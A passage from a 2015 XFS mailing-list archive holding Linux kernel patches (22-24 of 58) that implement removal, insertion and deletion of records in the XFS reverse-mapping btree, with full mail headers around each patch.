XFS_RMAP_OWN_NULL) + return false; + if (irec->rm_owner != owner) + return false; + if (XFS_RMAP_IS_UNWRITTEN(irec->rm_blockcount)) + return false; + if (XFS_RMAP_IS_ATTR_FORK(offset) ^ + XFS_RMAP_IS_ATTR_FORK(irec->rm_offset)) + return false; + if (XFS_RMAP_IS_BMBT(offset) ^ XFS_RMAP_IS_BMBT(irec->rm_offset)) + return false; + return true; +} + +/* + * When we allocate a new block, the first thing we do is add a reference to + * the extent in the rmap btree. This takes the form of a [agbno, length, + * owner, offset] record. Flags are encoded in the high bits of the offset + * field. */ int xfs_rmap_alloc( @@ -172,6 +190,8 @@ xfs_rmap_alloc( int have_gt; int error = 0; int i; + uint64_t owner; + uint64_t offset; if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; @@ -179,12 +199,14 @@ xfs_rmap_alloc( trace_xfs_rmap_alloc_extent(mp, agno, bno, len, oinfo); cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + xfs_owner_info_unpack(oinfo, &owner, &offset); + ASSERT(XFS_RMAP_NON_INODE_OWNER(owner) || XFS_RMAP_IS_BMBT(offset)); /* * For the initial lookup, look for and exact match or the left-adjacent * record for our insertion point. This will also give us the record for * start block contiguity tests. */ - error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + error = xfs_rmap_lookup_le(cur, bno, len, owner, offset, &i); if (error) goto out_error; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); @@ -196,8 +218,11 @@ xfs_rmap_alloc( //printk("rmalloc ag %d bno 0x%x/0x%x/0x%llx, ltrec 0x%x/0x%x/0x%llx\n", // agno, bno, len, owner, ltrec.rm_startblock, // ltrec.rm_blockcount, ltrec.rm_owner); + if (!is_mergeable_rmap(<rec, owner, offset)) + ltrec.rm_owner = XFS_RMAP_OWN_NULL; XFS_WANT_CORRUPTED_GOTO(mp, + ltrec.rm_owner == XFS_RMAP_OWN_NULL || ltrec.rm_startblock + ltrec.rm_blockcount <= bno, out_error); /* @@ -221,6 +246,8 @@ xfs_rmap_alloc( } else { gtrec.rm_owner = XFS_RMAP_OWN_NULL; } + if (!is_mergeable_rmap(>rec, owner, offset)) + gtrec.rm_owner = XFS_RMAP_OWN_NULL; /* * Note: cursor currently points one record to the right of ltrec, even @@ -291,6 +318,7 @@ xfs_rmap_alloc( cur->bc_rec.r.rm_startblock = bno; cur->bc_rec.r.rm_blockcount = len; cur->bc_rec.r.rm_owner = owner; + cur->bc_rec.r.rm_offset = offset; error = xfs_btree_insert(cur, &i); if (error) goto out_error; diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h index a5c97f8..0dfc151 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.h +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -58,6 +58,7 @@ int xfs_rmap_lookup_eq(struct xfs_btree_cur *cur, xfs_agblock_t bno, int xfs_rmap_get_rec(struct xfs_btree_cur *cur, struct xfs_rmap_irec *irec, int *stat); +/* functions for updating the rmapbt for bmbt blocks and AG btree blocks */ int xfs_rmap_alloc(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, struct xfs_owner_info *oinfo); From darrick.wong@oracle.com Tue Oct 6 23:57:38 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 96AEF7FA7 for ; Tue, 6 Oct 2015 23:57:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 793668F8037 for ; Tue, 6 Oct 2015 21:57:38 -0700 (PDT) X-ASG-Debug-ID: 1444193856-04cbb03f140d550001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id aemZ5gjytT1HWdSG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:36 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974vZSG011683 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:35 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974vZZv005397 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:35 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974vZM8018807; Wed, 7 Oct 2015 04:57:35 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:33 -0700 Subject: [PATCH 22/58] xfs: remove an extent from the rmap btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 22/58] xfs: remove an extent from the rmap btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:57:31 -0700 Message-ID: <20151007045731.30457.22109.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193856 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Now that we have records in the rmap btree, we need to remove them when extents are freed. This needs to find the relevant record in the btree and remove/trim/split it accordingly. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_rmap.c | 154 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 153 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index bc25f9c..92e417d 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -118,6 +118,31 @@ xfs_rmap_get_rec( return 0; } +/* + * Find the extent in the rmap btree and remove it. + * + * The record we find should always span a range greater than or equal to the + * the extent being freed. This makes the code simple as, in theory, we do not + * have to handle ranges that are split across multiple records as extents that + * result in bmap btree extent merges should also result in rmap btree extent + * merges. The owner field ensures we don't merge extents from different + * structures into the same record, hence this property should always hold true + * if we ensure that the rmap btree supports at least the same size maximum + * extent as the bmap btree (bmbt MAXEXTLEN is 2^21 blocks at present, rmap + * btree record can hold 2^32 blocks in a single extent). + * + * Special Case #1: when growing the filesystem, we "free" an extent when + * growing the last AG. This extent is new space and so it is not tracked as + * used space in the btree. The growfs code will pass in an owner of + * XFS_RMAP_OWN_NULL to indicate that it expected that there is no owner of this + * extent. We verify that - the extent lookup result in a record that does not + * overlap. + * + * Special Case #2: EFIs do not record the owner of the extent, so when + * recovering EFIs from the log we pass in XFS_RMAP_OWN_UNKNOWN to tell the rmap + * btree to ignore the owner (i.e. wildcard match) so we don't trigger + * corruption checks during log recovery. + */ int xfs_rmap_free( struct xfs_trans *tp, @@ -128,19 +153,146 @@ xfs_rmap_free( struct xfs_owner_info *oinfo) { struct xfs_mount *mp = tp->t_mountp; + struct xfs_btree_cur *cur; + struct xfs_rmap_irec ltrec; int error = 0; + int i; if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; trace_xfs_rmap_free_extent(mp, agno, bno, len, oinfo); - if (1) + cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + + /* + * We should always have a left record because there's a static record + * for the AG headers at rm_startblock == 0 created by mkfs/growfs that + * will not ever be removed from the tree. + */ + error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + + error = xfs_rmap_get_rec(cur, <rec, &i); + if (error) goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + + /* + * For growfs, the incoming extent must be beyond the left record we + * just found as it is new space and won't be used by anyone. This is + * just a corruption check as we don't actually do anything with this + * extent. + */ + if (owner == XFS_RMAP_OWN_NULL) { + XFS_WANT_CORRUPTED_GOTO(mp, bno > ltrec.rm_startblock + + ltrec.rm_blockcount, out_error); + goto out_done; + } + +/* + if (owner != ltrec.rm_owner || + bno > ltrec.rm_startblock + ltrec.rm_blockcount) + */ + //printk("rmfree ag %d bno 0x%x/0x%x/0x%llx, ltrec 0x%x/0x%x/0x%llx\n", + // agno, bno, len, owner, ltrec.rm_startblock, + // ltrec.rm_blockcount, ltrec.rm_owner); + + /* make sure the extent we found covers the entire freeing range. */ + XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock <= bno, out_error); + XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_blockcount >= len, out_error); + XFS_WANT_CORRUPTED_GOTO(mp, + bno <= ltrec.rm_startblock + ltrec.rm_blockcount, out_error); + + /* make sure the owner matches what we expect to find in the tree */ + XFS_WANT_CORRUPTED_GOTO(mp, owner == ltrec.rm_owner || + (owner < XFS_RMAP_OWN_NULL && + owner >= XFS_RMAP_OWN_MIN), out_error); + + if (ltrec.rm_startblock == bno && ltrec.rm_blockcount == len) { + //printk("remove exact\n"); + /* exact match, simply remove the record from rmap tree */ + error = xfs_btree_delete(cur, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + } else if (ltrec.rm_startblock == bno) { + //printk("remove left\n"); + /* + * overlap left hand side of extent: move the start, trim the + * length and update the current record. + * + * ltbno ltlen + * Orig: |oooooooooooooooooooo| + * Freeing: |fffffffff| + * Result: |rrrrrrrrrr| + * bno len + */ + ltrec.rm_startblock += len; + ltrec.rm_blockcount -= len; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + } else if (ltrec.rm_startblock + ltrec.rm_blockcount == bno + len) { + //printk("remove right\n"); + /* + * overlap right hand side of extent: trim the length and update + * the current record. + * + * ltbno ltlen + * Orig: |oooooooooooooooooooo| + * Freeing: |fffffffff| + * Result: |rrrrrrrrrr| + * bno len + */ + ltrec.rm_blockcount -= len; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + } else { + + /* + * overlap middle of extent: trim the length of the existing + * record to the length of the new left-extent size, increment + * the insertion position so we can insert a new record + * containing the remaining right-extent space. + * + * ltbno ltlen + * Orig: |oooooooooooooooooooo| + * Freeing: |fffffffff| + * Result: |rrrrr| |rrrr| + * bno len + */ + xfs_extlen_t orig_len = ltrec.rm_blockcount; + //printk("remove middle\n"); + + ltrec.rm_blockcount = bno - ltrec.rm_startblock;; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + + error = xfs_btree_increment(cur, 0, &i); + if (error) + goto out_error; + + cur->bc_rec.r.rm_startblock = bno + len; + cur->bc_rec.r.rm_blockcount = orig_len - len - + ltrec.rm_blockcount; + cur->bc_rec.r.rm_owner = ltrec.rm_owner; + error = xfs_btree_insert(cur, &i); + if (error) + goto out_error; + } + +out_done: trace_xfs_rmap_free_extent_done(mp, agno, bno, len, oinfo); + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); return 0; out_error: trace_xfs_rmap_free_extent_error(mp, agno, bno, len, oinfo); + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); return error; } From darrick.wong@oracle.com Tue Oct 6 23:57:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A1FF87F50 for ; Tue, 6 Oct 2015 23:57:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 75761304039 for ; Tue, 6 Oct 2015 21:57:42 -0700 (PDT) X-ASG-Debug-ID: 1444193861-04bdf020dc0e480001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id W7GjQs4mJnH89PKJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:41 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974vefr011783 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:40 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974vePn005556 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:40 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974vdCI018869; Wed, 7 Oct 2015 04:57:39 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:39 -0700 Subject: [PATCH 23/58] xfs: enhanced remove an extent from the rmap btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 23/58] xfs: enhanced remove an extent from the rmap btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:57:38 -0700 Message-ID: <20151007045738.30457.52184.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193861 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Simplify the rmap extent removal since we never merge extents or anything fancy like that. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_rmap.c | 49 ++++++++++++++++++++++++++++++---------------- 1 file changed, 32 insertions(+), 17 deletions(-) diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index 92e417d..073fb96 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -121,15 +121,8 @@ xfs_rmap_get_rec( /* * Find the extent in the rmap btree and remove it. * - * The record we find should always span a range greater than or equal to the - * the extent being freed. This makes the code simple as, in theory, we do not - * have to handle ranges that are split across multiple records as extents that - * result in bmap btree extent merges should also result in rmap btree extent - * merges. The owner field ensures we don't merge extents from different - * structures into the same record, hence this property should always hold true - * if we ensure that the rmap btree supports at least the same size maximum - * extent as the bmap btree (bmbt MAXEXTLEN is 2^21 blocks at present, rmap - * btree record can hold 2^32 blocks in a single extent). + * The record we find should always be an exact match for the extent that we're + * looking for, since we insert them into the btree without modification. * * Special Case #1: when growing the filesystem, we "free" an extent when * growing the last AG. This extent is new space and so it is not tracked as @@ -155,8 +148,11 @@ xfs_rmap_free( struct xfs_mount *mp = tp->t_mountp; struct xfs_btree_cur *cur; struct xfs_rmap_irec ltrec; + uint64_t ltoff; int error = 0; int i; + uint64_t owner; + uint64_t offset; if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; @@ -164,12 +160,15 @@ xfs_rmap_free( trace_xfs_rmap_free_extent(mp, agno, bno, len, oinfo); cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + xfs_owner_info_unpack(oinfo, &owner, &offset); + ASSERT(XFS_RMAP_NON_INODE_OWNER(owner) || XFS_RMAP_IS_BMBT(offset)); + ltoff = ltrec.rm_offset & ~XFS_RMAP_OFF_BMBT; /* * We should always have a left record because there's a static record * for the AG headers at rm_startblock == 0 created by mkfs/growfs that * will not ever be removed from the tree. */ - error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + error = xfs_rmap_lookup_le(cur, bno, len, owner, offset, &i); if (error) goto out_error; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); @@ -200,15 +199,30 @@ xfs_rmap_free( // ltrec.rm_blockcount, ltrec.rm_owner); /* make sure the extent we found covers the entire freeing range. */ - XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock <= bno, out_error); - XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_blockcount >= len, out_error); - XFS_WANT_CORRUPTED_GOTO(mp, - bno <= ltrec.rm_startblock + ltrec.rm_blockcount, out_error); + XFS_WANT_CORRUPTED_GOTO(mp, !XFS_RMAP_IS_UNWRITTEN(ltrec.rm_blockcount), + out_error); + XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock <= bno && + ltrec.rm_startblock + XFS_RMAP_LEN(ltrec.rm_blockcount) >= + bno + len, out_error); /* make sure the owner matches what we expect to find in the tree */ XFS_WANT_CORRUPTED_GOTO(mp, owner == ltrec.rm_owner || - (owner < XFS_RMAP_OWN_NULL && - owner >= XFS_RMAP_OWN_MIN), out_error); + XFS_RMAP_NON_INODE_OWNER(owner), out_error); + + /* check the offset, if necessary */ + if (!XFS_RMAP_NON_INODE_OWNER(owner)) { + if (XFS_RMAP_IS_BMBT(offset)) { + XFS_WANT_CORRUPTED_GOTO(mp, + XFS_RMAP_IS_BMBT(ltrec.rm_offset), + out_error); + } else { + XFS_WANT_CORRUPTED_GOTO(mp, + ltrec.rm_offset <= offset, out_error); + XFS_WANT_CORRUPTED_GOTO(mp, + offset <= ltoff + ltrec.rm_blockcount, + out_error); + } + } if (ltrec.rm_startblock == bno && ltrec.rm_blockcount == len) { //printk("remove exact\n"); @@ -267,7 +281,7 @@ xfs_rmap_free( xfs_extlen_t orig_len = ltrec.rm_blockcount; //printk("remove middle\n"); - ltrec.rm_blockcount = bno - ltrec.rm_startblock;; + ltrec.rm_blockcount = bno - ltrec.rm_startblock; error = xfs_rmap_update(cur, <rec); if (error) goto out_error; @@ -280,6 +294,7 @@ xfs_rmap_free( cur->bc_rec.r.rm_blockcount = orig_len - len - ltrec.rm_blockcount; cur->bc_rec.r.rm_owner = ltrec.rm_owner; + cur->bc_rec.r.rm_offset = offset; error = xfs_btree_insert(cur, &i); if (error) goto out_error; From darrick.wong@oracle.com Tue Oct 6 23:57:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B19237FA9 for ; Tue, 6 Oct 2015 23:57:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7CDA08F8037 for ; Tue, 6 Oct 2015 21:57:51 -0700 (PDT) X-ASG-Debug-ID: 1444193869-04bdf020db0e480001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 74j44WndfKh8Cv7F (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:49 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974vmDb006699 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:49 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974vmT8000364 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:48 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974vlSH018895; Wed, 7 Oct 2015 04:57:48 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:47 -0700 Subject: [PATCH 24/58] xfs: add rmap btree insert and delete helpers From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 24/58] xfs: add rmap btree insert and delete helpers To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:57:44 -0700 Message-ID: <20151007045744.30457.99557.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193869 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add a couple of helper functions to encapsulate rmap btree insert and delete operations. Add tracepoints to the update function. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_rmap.c | 62 ++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_rmap_btree.h | 2 + 2 files changed, 64 insertions(+) diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index 073fb96..045f9a7 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -88,6 +88,10 @@ xfs_rmap_update( { union xfs_btree_rec rec; + trace_xfs_rmapbt_update(cur->bc_mp, cur->bc_private.a.agno, + irec->rm_startblock, irec->rm_blockcount, + irec->rm_owner, irec->rm_offset); + rec.rmap.rm_startblock = cpu_to_be32(irec->rm_startblock); rec.rmap.rm_blockcount = cpu_to_be32(irec->rm_blockcount); rec.rmap.rm_owner = cpu_to_be64(irec->rm_owner); @@ -95,6 +99,64 @@ xfs_rmap_update( return xfs_btree_update(cur, &rec); } +int +xfs_rmapbt_insert( + struct xfs_btree_cur *rcur, + xfs_agblock_t agbno, + xfs_extlen_t len, + uint64_t owner, + uint64_t offset) +{ + int i; + int error; + + trace_xfs_rmapbt_insert(rcur->bc_mp, rcur->bc_private.a.agno, agbno, + len, owner, offset); + + error = xfs_rmap_lookup_eq(rcur, agbno, len, owner, offset, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 0, done); + + rcur->bc_rec.r.rm_startblock = agbno; + rcur->bc_rec.r.rm_blockcount = len; + rcur->bc_rec.r.rm_owner = owner; + rcur->bc_rec.r.rm_offset = offset; + error = xfs_btree_insert(rcur, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); +done: + return error; +} + +STATIC int +xfs_rmapbt_delete( + struct xfs_btree_cur *rcur, + xfs_agblock_t agbno, + xfs_extlen_t len, + uint64_t owner, + uint64_t offset) +{ + int i; + int error; + + trace_xfs_rmapbt_delete(rcur->bc_mp, rcur->bc_private.a.agno, agbno, + len, owner, offset); + + error = xfs_rmap_lookup_eq(rcur, agbno, len, owner, offset, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); + + error = xfs_btree_delete(rcur, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); +done: + return error; +} + /* * Get the data from the pointed-to record. */ diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h index 0dfc151..d7c9722 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.h +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -55,6 +55,8 @@ int xfs_rmap_lookup_le(struct xfs_btree_cur *cur, xfs_agblock_t bno, xfs_extlen_t len, uint64_t owner, uint64_t offset, int *stat); int xfs_rmap_lookup_eq(struct xfs_btree_cur *cur, xfs_agblock_t bno, xfs_extlen_t len, uint64_t owner, uint64_t offset, int *stat); +int xfs_rmapbt_insert(struct xfs_btree_cur *rcur, xfs_agblock_t agbno, + xfs_extlen_t len, uint64_t owner, uint64_t offset); int xfs_rmap_get_rec(struct xfs_btree_cur *cur, struct xfs_rmap_irec *irec, int *stat); From darrick.wong@oracle.com Tue Oct 6 23:58:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D8EE37F61 for ; Tue, 6 Oct 2015 23:58:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BB0D98F8035 for ; Tue, 6 Oct 2015 21:58:01 -0700 (PDT) X-ASG-Debug-ID: 1444193877-04cb6c57860d4c0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id ay37D7nK07lj1z34 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:57 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974vtWf011867 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:56 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974vtvC023910 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:55 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userv0121.oracle.com 